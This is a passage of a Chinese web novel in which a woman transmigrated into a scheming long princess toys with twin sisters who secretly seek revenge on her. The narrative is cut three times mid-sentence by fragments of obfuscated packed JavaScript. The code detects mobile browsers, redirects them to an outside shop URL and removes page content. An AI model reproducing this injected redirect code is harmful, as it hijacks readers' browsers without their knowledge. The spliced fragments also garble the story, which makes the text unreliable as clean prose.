谢舒遥轻轻摇了摇头,做足了懂事听话的模样,“我虽然心疼姐姐,却也知道,定是她愚笨不懂事,才会惹恼了殿下。” 这话得到的是江迎瓷的一声轻笑。 就在谢舒遥以为她还会继续说点儿什么的时候,她却突然话锋一转。 “会下棋吗?” “……会。” 谢舒遥捏着自己的指尖,不易察觉地呼了口气。 长公主的脾气着实有些令人琢磨不透,跟她待在一起,自己必须时刻保持警惕,不能露出一丝破绽。 棋盘上已经铺了一半的棋子,江迎瓷没有要重新开始的意思,谢舒遥就只能接着黑棋继续下。 没下多久,她的后背就出了一层凉汗。 谢舒遥好像明白黑棋为什么下的这么烂了。 江迎瓷下棋简直毫无章法,仿佛一切全凭她心意,想下在哪里就下哪里。 谢舒遥不仅要跟上她的节奏,还得不动声色为她让棋,一局下来,简直比她从前与顶级棋艺高手对弈还要累。 最后一颗棋子落下,清脆声响中带着细微颤动,谢舒遥的心仿佛也跟着重重抖了一下。 她长舒口气,努力弯起唇角,“是阿瑶输了。” 总算下完了。 谢舒遥几乎能肯定,在她来之前,这个位置坐着的人应该是谢凌闲。 难不成是谢凌闲让棋让的太明显,以至于长公主看出了端倪,所以她才被长公主打了一巴掌? 脑海里正想着,谢舒遥就听对面的江迎瓷语调平静道:“你比你姐姐要听话的多。” 原本只有五分的猜测陡然上升到了九分。 谢凌闲这个蠢货,她该不会真是伪装得太差,被长公主看出不对劲了吧? 谢舒遥心里暗暗骂着,面上却与之相反地露出一缕羞意,“能令殿下满意,是阿瑶的荣幸。” 她将棋盘上的黑白棋子重新收进瓷罐中,随后静等着江迎瓷的下一步吩咐。 江迎瓷端起茶杯润了润嗓子,“你很会讨本宫欢心。” 她斜睨着谢舒遥,身体半歪靠在软榻上,宽大衣袖下玉镯轻晃,一双精心保养的手细腻瓷白,指节根根如葱。 长公主虽然脾气古怪,却生了副好容貌,就算生起气来,也不让人觉得耻辱,反而颇为赏心悦目。 谢舒遥闭了闭眼,默默在心里提醒自己,这是她要报复算计的仇人。 就算长得再美,内里的心脏血肉也是脏的。 “阿瑶。” 江迎瓷唤着谢舒遥的名字,打断了谢舒遥的思绪。 谢舒遥抬睫对上江迎瓷的双眼,竟错觉地从里面看出了两分柔情。 江迎瓷懒散地半合着眼皮,“趁着本宫心情还算不错,你可以提一个要求。” 谢舒遥一瞬间心口狂跳,江迎瓷这是什么意思? 试探?还是真的想赏赐她? 她看起来似乎是真的很喜欢自己伪装出来的样子。 那又为何要先召见谢凌闲? 谢舒遥心里有很多疑问,但却不妨碍她立马起身下榻,对着江迎瓷跪了下去。 “多谢殿下赏赐。” 谢舒遥顿了下,眼眶慢慢红了起来,“阿瑶斗胆,只有一个请求。” “求殿下饶恕我姐姐。” 还真是一副姐妹情深的样子。 江迎瓷在心里感慨。 谢舒遥从前也是金尊玉贵的公主,受千万人追捧尊敬,可现在看她这副熟稔的下跪姿势,哪还能看出一丁点儿从前的影子? 怪不得剧情里的长公主从没怀疑过二人的身份。 谁能想到一个在自己身边小意讨好,身份卑贱的瘦马,竟然会是一心想要复仇的亡国公主? “你当真只要这个?” 谢舒遥咬了咬牙,“是。” 谢凌闲这个废物,没能讨好长公主就算了,还得连累自己替她求情。 江迎瓷盯着谢舒遥看了几秒。 她不说话,让屋内的气氛顿时变得格外压抑。 谢舒遥心里也忐忑起来,难不成谢凌闲真的犯了很大的错,她的求情让长公主连带着对她也产生不满了? 江迎瓷是故意的。 她特意等谢舒遥紧张起来之后,才幽幽道:“她不如你听话。” “但看在你的份上,本宫不会杀了她。” 这句话并没能安慰到谢舒遥。 才只一面而已,江迎瓷竟然就对谢凌闲起了杀心。 谢凌闲到底做了什么? 江迎瓷轻点着指尖,“你的请求,本宫准了。” 正好,她也需要一个由头放过谢凌闲。 谢舒遥压下心底繁杂的思绪,她扬起唇瓣,脸上浮现出喜意,嗓音里也多了些欢喜雀跃。 “多谢殿下!” 她半是感激半是羞涩地抬头回望江迎瓷,四目相对,谢舒遥眼尾残留的红晕更甚,她咬着唇,抬起下巴将自己的一张玉面完整暴露在了江迎瓷眼前。 这种接近于献祭的姿态,让江迎瓷能轻易看清谢舒遥脸上欲说还休的情态,还有衣襟下那截欺霜赛雪的脖颈,纤瘦的腰身…… “殿下……” 谢舒遥语调婉转,尾音缱绻。 江迎瓷拧起眉头,莫名觉得气氛有点奇怪。 032号:【她在勾引你啊。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135773|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 系统突然冒了出来,说话更是直白毫不掩饰。 【宿主,你看不出来吗?】 江迎瓷:! 谢舒遥在勾引她? 江迎瓷确实没看出来,她只是觉得谢舒遥现在的这副模样,比下午时更添了些说不清道不明的风韵。 这就是勾引吗? 江迎瓷好奇又新鲜。 接触到谢舒遥隐含暗示的眼神,江迎瓷的脑海里忽然冷不丁闪过了什么,似乎也有人曾用同样的神情动作跟她说过话。 江迎瓷的眉头瞬间皱了起来。 谢舒遥好像在长公主的脸上看见了一丝异样的神色,可还没等她看清,长公主就已经偏过脑袋,只留给了她半张侧脸。 “茗月。” 江迎瓷揉着太阳穴,将茗月唤了进来。 “送她回去吧。” 她指的是跪在地上的谢舒遥。 谢舒遥心里升起错愕,方才气氛分明还算不错,她还以为长公主会顺势做点儿什么。 没等谢舒遥开口说话,江迎瓷就又摆了摆手,“还有门外那个,一并送回去。” 这下谢舒遥彻底无话可说了。 她掐紧掌心,在茗月的注视下向江迎瓷行礼谢恩,随后沉默地转身走了出去。 谢凌闲还在屋外等着。 谢舒遥一出来,谢凌闲就将谢舒遥上下打量了一遍,见谢舒遥衣衫整齐妆容完整,她便知道刚才什么都没发生。 谢舒遥也没比她强多少么。 谢凌闲心里那股憋了一晚上的气,在此刻才总算稍微缓解了一些。 所以不是她表现不好,是长公主那个疯子本就脾性难测,根本不能用常理去揣测她的意图。 有外人在,两人没有露出异色,她们坐上茗月安排的小轿,在府卫的护送下回到了飘絮馆。 冬莺和如意早就在等着了。 见两人早早回来,她们的神色却不算太惊讶。 “殿下从不允许后院的人留宿扶风院。”如意解释道。 所以即便今晚当真发生了些什么,谢舒遥跟谢凌闲也是要回到飘絮馆的。 谢舒遥听见这话,才算是安心了些。 看来这就是长公主府的规矩,而不是她惹了长公主厌烦。 她和谢凌闲的脸色都不算好看,冬莺如意也不敢多问,伺候着她们沐浴洗漱完,正要铺床休息,就听门外又来了人。 还是一群小丫鬟,只是领头的并不是茗月,而是江迎瓷身边的一个二等丫鬟,名叫流箫的。 除此之外,还有一个年纪约莫四十岁的嬷嬷跟在一旁。 “阿瑶姑娘。” 流箫态度比茗月要好上许多。 “您今夜伺候殿下辛苦,殿下特命我等送来赏赐之物。” 这些竟然都是给她的。 谢舒遥更加意外,刚才在扶风院时,江迎瓷的反应似乎也没见有多高兴。 不过赏赐代表着江迎瓷的态度,谢舒遥自然不会拒绝。 “阿瑶谢过殿下。” 她转头吩咐如意把东西都拿进去。 流箫嗯了声,她的视线随后转向谢凌闲,眼里不自觉流露出了一抹同情。 “阿绾姑娘。” 谢凌闲心里突然升起了一种不祥的预感。 方才听到流箫并未提起自己时,她就已经猜到了什么。 果然,流箫下一秒就低声说道:“殿下说,您性格顽劣不懂规矩,所以特意派了柳嬷嬷来教您规矩。” “什么时候您把规矩学好了。” “什么时候才能再见到殿下。” 其实江迎瓷的原话是:“学好之前,别让她再出现在本宫面前。” 流箫说的委婉了一点,但意思却很明确。 谢凌闲本就面无表情的脸因为这几句话而更加僵硬。 谢舒遥是赏赐,轮到她就成了不懂规矩,要罚她了? 她到底怎么惹江迎瓷不高兴了?! 想、不、通。 5. 长公主的双面替身情人(五) 天色已晚,柳嬷嬷到底没有太苛刻。 “阿绾姑娘先歇息一晚,等到明日早晨,咱们再正式开始学规矩。” 殿下说了,可以稍稍用些手段,但不能真把人折腾出好歹来。 这其中的度,还需要她自己把握。 这个嬷嬷一看就是长公主的忠诚走狗,她不苟言笑,说话的语气也是平淡无波的。 让谢凌闲仿佛回到了还在郡王府的时候。 长、公、主。 谢凌闲深吸了口气,声音压的极低,“知道了。” 柳嬷嬷点了点头。 冬莺在旁边看着,见状赶紧出声道:“嬷嬷请随我来吧。” 柳嬷嬷走了,如意也被谢舒遥随口打发。 “我第一夜住在长公主府,心里紧张,想同姐姐说说话。” 这个理由合情合理,如意丝毫没有怀疑,老老实实去屋外守门了。 屋内重新恢复安静,没有了外人在,谢凌闲这才终于忍不住暴露了两分内心的真实情绪。 谢舒遥瞥了一眼她脸上阴郁的神色,没有立马说话,而是先转身走到了床边坐下。 她一边梳理着自己的长发,一边抬眼默不作声地望着谢凌闲。 谢凌闲一身素色里衣侧身坐在桌前,她端起已经凉透的茶一饮而尽,慢慢闭上了眼睛。 约莫四五息过后,谢凌闲重新睁开了眼。 她的脸还是那张脸,身上的气势却已经发生了翻天覆地的变化,比起刚才的冷漠寡言,此刻的谢凌闲更多了一份凛然和锋芒,就像一把未出鞘的利剑。 “恢复了?”谢舒遥毫不意外。 “嗯。” 谢凌闲翻转手腕,也没见她怎样用力,原本光滑完整的茶杯却忽然出现道道细纹,随后彻底裂成了几块。 “如何?” 谢舒遥旁观着这一幕,目光触及茶杯碎片时,眉心微微皱了起来。 “没有人。” 谢凌闲松开手中的瓷片,她起身走到窗前,轻轻推开了一条窗缝。 屋外月色皎洁,晚风带着几分凉意,缓缓拂过她的侧脸,映得窗边的影子缥缈而模糊。 院里静悄悄的,连树叶的沙沙声都几不可闻。 谢舒遥挑了挑眉。 长公主竟然没有安排暗卫来监视她们吗? 她打量着窗边的那道身影。 谢凌闲乃是清幻大师亲口断言的百年难得一遇的武学奇才,她虽然才二九年华,内力和武功却已经是大燕数一数二的存在,几乎没有遇到过敌手。 谢舒遥相信谢凌闲的能力,既然她说没有,那应当是真的没有。 除非,长公主府内还有武功远在谢凌闲之上的高手。 但是清幻大师说了,以谢凌闲如今的境界,江湖中能胜过她的,也不过一掌之数…… “归尘丸能压制你的内力,每天只有一个时辰的时间恢复。” 谢舒遥的眼里升起了一抹怀疑之色,“你确定你现在已经恢复了?” 谢凌闲目光冷淡,给了她一个仿佛看傻子的眼神。 谢舒遥嗤笑了一声,“你也别怪我不相信你,毕竟你的表现实在不怎么样。” “阿绾姐姐。” 谢舒遥意有所指。 柳嬷嬷还在隔壁呢,要不是谢凌闲得罪了长公主,长公主怎么会特意派个嬷嬷来教她规矩? 提起此事,谢凌闲的表情更冷。 确认周围没有暗卫监视后,谢凌闲也不再隐藏些什么,她冷眼回望谢舒遥,“我不知道。” “不知道?” 谢舒遥已经好奇了一晚上了,她放下手中的木梳,“你到底做了什么?” 谢凌闲也很想问。 她自认没做任何逾矩的事,江迎瓷凭什么说她不懂规矩? “你把今晚发生的事情,一五一十地告诉我。”谢舒遥隐隐露出了嫌弃的表情。 原本是看在谢凌闲身手不错,又恰好同她长相相似的份上,她才选中谢凌闲的,谁知道这人这么没用,第一天就把事情搞砸了。 谢凌闲触及谢舒遥不满的目光,她很轻地冷笑了一声,“今晚什么都没发生。” 她只是陪江迎瓷下了盘棋,还费尽心思地让江迎瓷赢了,甚至就连江迎瓷摸她脸的时候,她都没躲。 她已经做到仁至义尽了,江迎瓷到底还有什么不满意的? “就这样?” 谢舒遥越听越熟悉,谢凌闲说的这些,分明也是今晚发生在她身上的事情。 甚至就连江迎瓷说的话都差不多。 唯一的区别只在于江迎瓷对待两人的态度。 但从谢凌闲的描述来看,她似乎也并未做错什么,江迎瓷为何会忽然生气? 从进屋开始,江迎瓷对自己似乎就格外不同…… 谢舒遥跟谢凌闲对视了一眼。 “离间。” 江迎瓷是在故意用这种方法离间两人的感情。 不然谢舒遥实在想不通,江迎瓷为什么会有这样的反应。 “难不成她起疑了?”谢凌闲蹙眉。 “不。” 谢舒遥摇了摇头,“如果她真的怀疑起了你我的身份,应该安排人来盯着咱们才对。” 可偌大的飘絮馆里,就只有冬莺和如意这两个并不会武功的丫鬟。 谢舒遥想起了冬莺对江迎瓷的描述,“或许长公主性格本就如此。” 她不喜后院争宠,定然也不会想看到她们这对双生姐妹联合起来对付其他人。 所以她故意亲近自己,又惩罚谢凌闲,就是为了让她们两姐妹内斗起来,瓦解两人的联盟。 谢舒遥越想越觉得就是这样。 谢凌闲在城府心计这方面不如谢舒遥,既然谢舒遥都这样说了,她心里也多少信了几分。 所以果然不是她的问题。 “那接下来该怎么办?”谢凌闲合上窗户,神情平静无波。 若是普通后宅女子,或许真的会因为长公主的这番手段而惶恐不安也说不定。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135774|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但很可惜,她不是。 她不喜长公主,甚至与长公主有仇。 长公主不管是宠爱谁还是厌弃谁,都不会对她造成一丝伤害。 “让我想想……” 谢舒遥打量着谢凌闲。 眼下的情况与她之前所料想的大有不同,她们的计划也应该随之改变。 谢舒遥垂眼思索了几秒,等再度抬头时目光已然变得坚定了不少,“既然她想看姐妹离心。” “那咱们就演给她看。” …… 江迎瓷睡了个好觉,醒的时候都已经快中午了。 在长公主府里她就是唯一的主子,所有人都得看她的眼色行事,所以即便睡到日上三竿,也没人敢置喙什么。 她浑身懒洋洋的,一时还不太想动弹,只半眯着眼睛打了个哈欠。 刚发出一点儿动静,便有人轻手轻脚走上前来。 “殿下?” “嗯。” 床幔被人掀开一点儿,露出茗月那张清丽的脸来,“您要现在梳洗用膳吗?” “什么时辰了?” “午时了。” 那不就是该吃午饭了? 江迎瓷心里莫名涌上一股罪恶感,她居然睡到了这么晚,想当初她可都是…… 嗯? 江迎瓷晃了晃脑袋,想不起来了,她干脆也不再想,“梳洗吧。” 茗月冲屋外唤了声,不一会儿,一群小丫鬟便端着水盆脂粉鱼贯而入,分开成两排在屋内站定,茗月亲自绞了帕子,仔细给江迎瓷擦脸。 江迎瓷什么都不用做,她只需要坐在那里,自有丫鬟上前来伺候她,甚至连水都有人喂到嘴边。 这日子还真是没得说。 【幸福吧?】 032号嘿嘿笑了声,【宿主,你现在承认,我给你找的这个身份还不错了吧?】 “唔。” 江迎瓷只用了一天,就已经完全接受了这样腐败奢靡的生活。 虽然后面她的下场很惨,但至少现在,她过得的确比主角攻受要幸福很多。 说起来…… 江迎瓷一边伸出手让茗月擦拭指尖,一边淡淡道:“那两个人怎么样了?” 茗月知道她问的是阿瑶和阿绾。 “柳嬷嬷已经开始教阿绾姑娘学习规矩了。” 至于阿瑶姑娘,她虽然不必学规矩,却也老实呆在飘絮馆里,并未四处走动。 茗月话音落下,032号就在江迎瓷脑海里补充道:【主角攻可是卯时正就起床了,那会儿天都才刚微微亮呢。】 卯时正? 江迎瓷嘶了一声,柳嬷嬷果然很严格,她让她仔细教谢凌闲学规矩,她就当真一点儿都不手软。 江迎瓷没有再问,茗月也只当此事已经过了。 直到午膳摆上桌,没吃两口,江迎瓷忽然放下了筷子。 “茗月。” 江迎瓷抬头扫了一眼屋外的日光。 “去把阿瑶叫来。” 6. 长公主的双面替身情人(六) 谢舒遥来的很快。 相比起昨夜,她今日的妆容打扮明显更加精致用心。 雨过天晴色宽绣纱裙,腰间束着一条银色腰封,同袖口银线勾勒的海棠花纹样相互映衬,行走间波光粼粼,更显温柔出尘。 谢舒遥停下脚步,她悠然立在廊下,轻风拂过她的裙摆,那一抹云消雨散后的浅蓝仿佛霎时间活了过来,上面的银色海棠也随风摇曳着。 “阿瑶见过殿下。” 谢舒遥盈盈福身。 江迎瓷欣赏着主角受的美貌。 谢舒遥实在很懂得该怎么利用自己的容貌优势,或许昨夜来的时候,她便注意到了此处院中栽种的是海棠。 所以今日她特意穿了这身衣裳,再配以乌云鬓边斜插的几支银钗,恰似从花影盛景中走出的仙灵,一举一动优雅轻盈,令人见之忘俗。 不仅是江迎瓷,就连周围伺候的婢女,都忍不住偷偷多看了几眼。 殿下纳入府中的这些女子里,当属阿瑶姑娘姿容最盛。 江迎瓷最先回过神来,“坐。” 她抬了抬下巴,示意谢舒遥去旁边。 谢舒遥定睛一看,屋子左侧正摆放着一把古琴,江迎瓷叫她来,很明显是想找点儿乐子。 她在古琴前坐下,刚整理好衣裙,就听江迎瓷问道:“会吗?” “……会。” 江迎瓷这才满意,她摆手示意身旁的茗月继续夹菜,然后一边享受美食,一边听着耳边逐渐响起的清脆琴音。 谢舒遥弹琴的画面堪称赏心悦目,她神色认真,轻抚摆动的十指纤细而修长,拨弦的动作更是熟练自然。 泠泠琴声从她指尖流出,像融化的冰泉般清列干净,又带着一丝颤动和回响。 江迎瓷眯了眯眼眸,她虽然听不出这是一首什么曲子,却也在这段琴声中感受到了久违的安宁和平静。 谢舒遥弹琴的时候,还在不动声色地打量江迎瓷。 长公主侧坐着,用膳时的姿态优雅而从容,单从表情看不出她是否满意,但她没有打断自己,说明至少她的心情还算平和。 谢舒遥很认真,她拿出了十二分的琴技,务必要让江迎瓷对自己印象深刻。 一曲完毕,江迎瓷也跟着放下了筷子。 她用手帕浅浅擦了擦嘴,“弹的不错。” 谢舒遥不着痕迹松了口气,她收拢双手在身前,同时唇边漾开浅笑,“多谢殿下夸赞。” 江迎瓷想了想,“以后每日午膳时,你都来为本宫弹琴。” 要增加跟主角受的接触,显示对主角受的兴趣和宠爱,这也算是一个不错的方法。 谢舒遥先是极快地蹙了下眉,随后反应过来,又松了口气。 “阿瑶遵命。” 这样也好,她每日都能见到长公主,获得宠爱的机会就更大了,哪怕长公主没碰她,府里的其他人也不敢再看轻她。 她在长公主府里的地位越高,越方便她实行计划。 江迎瓷没多留谢舒遥,弹完琴就让她回去了,但饶是如此,谢舒遥颇得长公主欢心的消息还是瞬间传遍了公主府。 在一处偏僻幽静的庭院内,一身紫色衣裙的女子正站在窗前,怔怔地望着屋外的阳光。 守门的两个小丫鬟还在低声讨论着。 “殿下两日内赏赐了她三次,还命她每日都去扶风院弹琴。” “那位阿瑶姑娘到底有多美,能得殿下如此看重?” “诶你说,她比起……”说话的人努了努嘴角,目光看向身后紧闭的房门。 这句话得到了另一个人的嗤笑。 “新欢旧爱能一样吗?你什么时候见殿下来过这里?” 秋雁阁就是“冷宫”,里面那位恐怕这辈子都别想见到殿下了。 “唉,要是能去伺候阿瑶姑娘……” “不过我怎么听说,那位阿绾姑娘被殿下罚了?” “当妹妹的接连受宠,姐姐却被训斥责罚,你说她们两姐妹,当真不会生出嫌隙吗?” “这谁知道呢,在地位宠爱面前,姐妹情谊算什么?” “不过殿下向来厌烦算计,再怎么样,明面上也不会闹得太难看的。” “也是,里面那位,不就是最好的例子吗……” 说话声渐渐低了下去,到最后彻底听不清了。 紫衣女子垂着眼,脸上划过了落寞和苦涩。 “殿下……” 殿下有了新欢吗? 她是否还记得,在这府里的某个角落,还有一个人是她曾经宠爱过的? 想到记忆里女子温和的眉眼,轻抚她侧脸时专注的神情,以及她唤她阿蕴时,那低缓而含情脉脉的语气。 紫蕴的眼角滑落了一滴泪珠。 人人都说她失宠是因为用计陷害他人,引得殿下震怒,这才会被关起来。 可只有紫蕴知道,那不是真相。 是因为殿下发现了…… 不,或许从一开始,殿下就心知肚明。 她的柔情和纵容,全是为了迷惑她。 而她,就这样义无反顾地踏进了殿下为她设的陷阱里,哪怕直到现在也毫不后悔。 殿下向来擅长使用温柔刀,先迷惑敌人,等人放松警惕后再一刀割喉。 她是这样,这对所谓的双生姐妹花,会不会也是如此? 紫蕴希望她们也和她一样,否则,殿下要是真的喜欢上谁,她会嫉妒得发狂的。 “殿下。” 紫蕴慢慢把脸颊贴在窗棂上,眼神逐渐迷离了起来。 “阿蕴好想您……” …… 江迎瓷打了个喷嚏。 她摸了摸自己的耳尖,总觉得有点儿烫。 “难不成是有人在想我?” 还有这种说法? 0 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135775|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 32号听得新奇,【宿主,除了主角攻受,还有谁会想你?】 也是。 谢舒遥不知道,但谢凌闲现在肯定是恨不得立马将她大卸八块了。 午时谢舒遥一回去,江迎瓷就立马又让人送去了赏赐。 不是多么名贵的东西,但胜在精巧新鲜,除了这些,还有一把古琴和几本琴谱。 “殿下说,送给姑娘解闷。” 彼时谢凌闲就站在不远处,柳嬷嬷正面无表情地跟她讲着府里的规矩。 谢凌闲维持着行礼的姿势,没有内力加持的身体已经僵硬到泛酸了,可她却不能动,因为她头上还顶着一只茶杯,要是掉下来,今天都别想吃饭了。 “殿下虽然宽和,姑娘却不能仗着殿下的宠爱乱了规矩。身为侍妾,自当温柔顺从,听话守礼。” “殿下的喜好和命令,就是姑娘唯一需要关心的事情,除此之外的所有,都不值得姑娘操心。” “这些话,姑娘都记住了吗?” 谢凌闲咬了咬牙,眼底飞速闪过了一丝戾气。 她的嗓音微微沙哑,是长时间保持一个姿势不变,又没有进食喝水的结果。 “记、住、了。” 柳嬷嬷点了点头,“那就请姑娘复述一遍。” 断断续续的声音传到谢舒遥这边来,隔着这么远的距离,她都能感受到谢凌闲压抑的不耐。 祥郡王府的永昭郡主,是祥郡王和郡王妃唯一的女儿,郡王妃早逝,祥郡王偏宠妾室,对这个女儿也疏于管教。 谢舒遥此前对谢凌闲最大的了解就是她生性冷漠寡言,但武功高强。 她也正是看重这一点,才选择了谢凌闲。 如今看来,这人脑子似乎不怎么好使,希望她别坏了自己的计划。 晚上江迎瓷没有传召她,谢舒遥就自己用了饭。 像她们这种没名没分的侍妾,份例内的饭菜只能说勉强能入口,但谢舒遥如今得江迎瓷青睐,膳房那边也乐得讨好她,给她送来的饭菜远超她现在的身份规格,每样都精细可口。 谢凌闲的就要差很多。 一盘没有油水的青菜,一碟煨豆腐,一小碗粟米饭,就是她的晚膳。 谢凌闲看着桌上的两道菜,一点儿想要动筷子的欲望都没有。 偏偏柳嬷嬷还在她耳边念叨。 “姑娘,用膳时也有规矩。” 规矩。 这两个字谢凌闲今天都快听厌了。 柳嬷嬷张口闭口都是规矩,好似她做什么都是错的。 若是没有对比也就罢了,偏偏谢舒遥的日子是那样悠闲舒服,让谢凌闲的心里多多少少生出了一丝不甘。 她和谢舒遥现在明明用的是同一张脸,长公主为什么偏就选中了谢舒遥? 即便是要捧一踩一,为何她就不能是被捧的那个? 她和谢舒遥,到底差在哪儿了。 7. 长公主的双面替身情人(七) 晚膳过后,柳嬷嬷终于愿意放过谢凌闲了。 “阿绾姑娘早些歇息,明日咱们继续。” 谢凌闲的脸因为这句话而更加冷。 冬莺看着这样的她,竟莫名有些不敢说话。 但她还是大着胆子走上前来,“姑娘,可要奴婢替您捏捏肩?” 她看见了,阿绾姑娘的腿都在抖,被迫站了一天,她肯定累得不行了。 “不用。” 谢凌闲深吸了口气,“你下去吧。” 冬莺还想说什么,触及谢凌闲没有情绪的目光,她瞬间止住了话语,好几秒后才打了个冷战,回复道:“是。” 房门再次被合上,屋内重新陷入安静。 不知过了多久,谢凌闲忽然挺直了背,她盘腿运转了一遍内功心法后,四肢的酸痛这才终于有所缓解。 脸色比刚才好看了些,谢凌闲站起身来,她像一道影子,没有惊动任何人,眨眼间便来到了谢舒遥的房间。 谢舒遥正在对着镜子梳头,骤然从镜子里看见谢凌闲的身影,她先是惊了一下,然后才放松下来。 “你能不能别这么突然?” 谢凌闲恍若未闻,她第一眼先是注意到了谢舒遥容光焕发的脸,还有屋内燃着的味道清雅的熏香,目光扫过床头摆放着的夜明珠,谢凌闲扯了扯唇角。 “看来她对你还不错。” 这句话让谢舒遥多看了她一眼。 “你羡慕?” 这话有些耳熟,似乎是昨天她用来嘲讽谢舒遥的。 谢凌闲的唇角不着痕迹地僵了僵,“你别被她迷惑住了。” “放心。”谢舒遥收回视线,继续在自己的脸上抹着香粉。 “她是什么目的,你我心知肚明,我不会心动。” “倒是你。” 谢舒遥说着,语句微微停顿了一下,“你似乎不怎么高兴。” 谢凌闲:“……你去学一天规矩试试。” 柳嬷嬷古板认死理,丝毫不知变通,谢凌闲拿她一点办法都没有。 “惹恼了长公主的又不是我。” 谢舒遥头也不回,“我知道你不高兴。” “但此一时彼一时,如今你我处处受限,能做的就只有忍。” 谢凌闲沉默不语。 谢舒遥纯属是在说废话,这个道理她难道不明白吗? “况且,这未必不是一件好事。” 谢舒遥转过身正面对着谢凌闲,冲她微微一笑,“你越是不受宠,越能衬托出我的听话,长公主或许也能因此多信任我几分。” 谢凌闲冷笑,“你是想踩着我往上爬。” “不然呢?” 论心计谢凌闲并不是她的对手,况且又是谢凌闲自己把事情搞成现在这样的,她除了将计就计,还能怎么办? “咱们必然会有一人被冷落。” 与其让谢凌闲这个蠢货得到长公主的关注,不如换她往上爬,成为长公主身边的知心人。 见谢凌闲不说话,谢舒遥又幽幽补充道:“你别忘了。” “你是来帮我的。” 她跟谢凌闲之间,本就是她说了算,该怎么做自然也是听她的。 不过考虑到谢凌闲的日子的确难熬,谢舒遥安慰道:“等我日后在长公主面前有了颜面,会替你求情的。” 求情? 谢凌闲无所谓地丢下了一句,“随你便。” 她只是心里有点不理解而已,但这点不解还远不至于让她因此做出些什么,来破坏如今的局势。 见她要走,谢舒遥也跟着站起身,“你去哪儿?” “去探探情况。” 谢舒遥的眉头皱得更深,“你别轻举妄动。” 这才第二天,她都不慌,谢凌闲慌什么? 谢凌闲回应她的是离去时卷起的一阵轻风。 屋外树影婆娑,偶尔传来两声虫鸣,谢舒遥推开窗缝,院中已经没有了谢凌闲的身影。 这人实在是太不听话了。 谢舒遥沉着脸,她需要的是一个合格的帮手,而不是一个有着自己小心思的同伴。 谢凌闲…… …… 江迎瓷并不知道主角攻受之间已经开始有了矛盾。 她最近的日子过得颇为悠闲。 吃饭有人伺候,还能听主角受为她弹琴解闷,倦了就躺在树荫下小憩一会儿,简直不知今夕是何年。 032号都看不下去了。 【宿主,你忘了咱们还有任务吗?】 强取豪夺啊! 可最近江迎瓷都只是叫主角受来弹琴,弹完就把人赶走了,哪有一点儿强取豪夺的影子? “别急。” 江迎瓷最近恶补了一堆话本子,对该怎么强取豪夺也已经有了新的想法。 经过这几天的弹琴解闷,谢舒遥受宠的消息得到了证实,她在府中的地位也跟着水涨船高。 是时候该进行下一步了。 这日午后,谢舒遥弹完曲子,照旧准备退下的时候,江迎瓷却忽然叫住了她。 那人懒懒躺在椅子上,一只手半垂在空中,冲谢舒遥勾了勾,“过来。” “陪本宫聊聊天。” 谢舒遥愣了下,“是。” 这还是这些天以来,江迎瓷头一次让她做别的事,这算不算是她已经对自己有所信任了? 江迎瓷晒着太阳,她的面容浸透在日光里,侧脸朦胧而透明,带着股不真实的感觉,那双眼闲闲朝谢舒遥望来时,眼底细碎的光芒显得格外柔和。 谢舒遥侧身坐在了江迎瓷身旁。 她坐得笔直,背挺腰细,气质温婉端庄,不像身份卑贱的瘦马,倒像是哪家精心教养出的千金贵女。 这都是江迎瓷用金银堆砌出来的。 她很满意,冲谢舒遥抬了抬下巴,目光瞥向一旁的点心。 谢舒遥心领神会,主动端起点心,“殿下可要尝尝?” 她捻起一枚小巧的糕点,俯身喂到江迎瓷唇边,十指纤纤,动作小心细致。 江迎瓷看了两秒,她偏了偏脑袋启唇咬住糕点,却没有立马松嘴,而是就着这个姿势,抬手擒住了谢舒遥的手腕。 谢舒遥惊了一下,但她反应极快,并未露出异色,而是自然地晕红了一张芙蓉脸。 江迎瓷慢慢把糕点咬进了嘴里,她的目光一直盯着谢舒遥的脸,看得谢舒遥的双颊越发红透了。 松开手的那一瞬间,谢舒遥感觉自己的指尖好像触碰到了什么柔软的东西,温热干燥,像陷进了棉花里一样。 她后知后觉,那是江迎瓷的唇。 周围的人不知何时全都背过了身,不去看这暧昧的一幕。 谢舒遥还有些回不过神来,江迎瓷为人冷漠不近人情,可她的唇却不像她的人那样冷,反而是软的,热的。 这还是她第一次摸到别人的唇瓣。 意料之外的,并没有谢舒遥想的那样恶心。 “阿瑶。” 江迎瓷低低地唤着谢舒遥的名字。 “本宫送你的那些礼物,你都喜欢么?” 谢舒遥清醒过来,她稍稍垂下眉睫,眼尾的红晕多了几分含蓄的羞涩,“阿瑶很喜欢,多谢殿下赏赐。” 江迎瓷回忆着话本子里的剧情,她不仅没有松开谢舒遥的手,反而又靠得更近了一些,“那你还想不想要别的?” 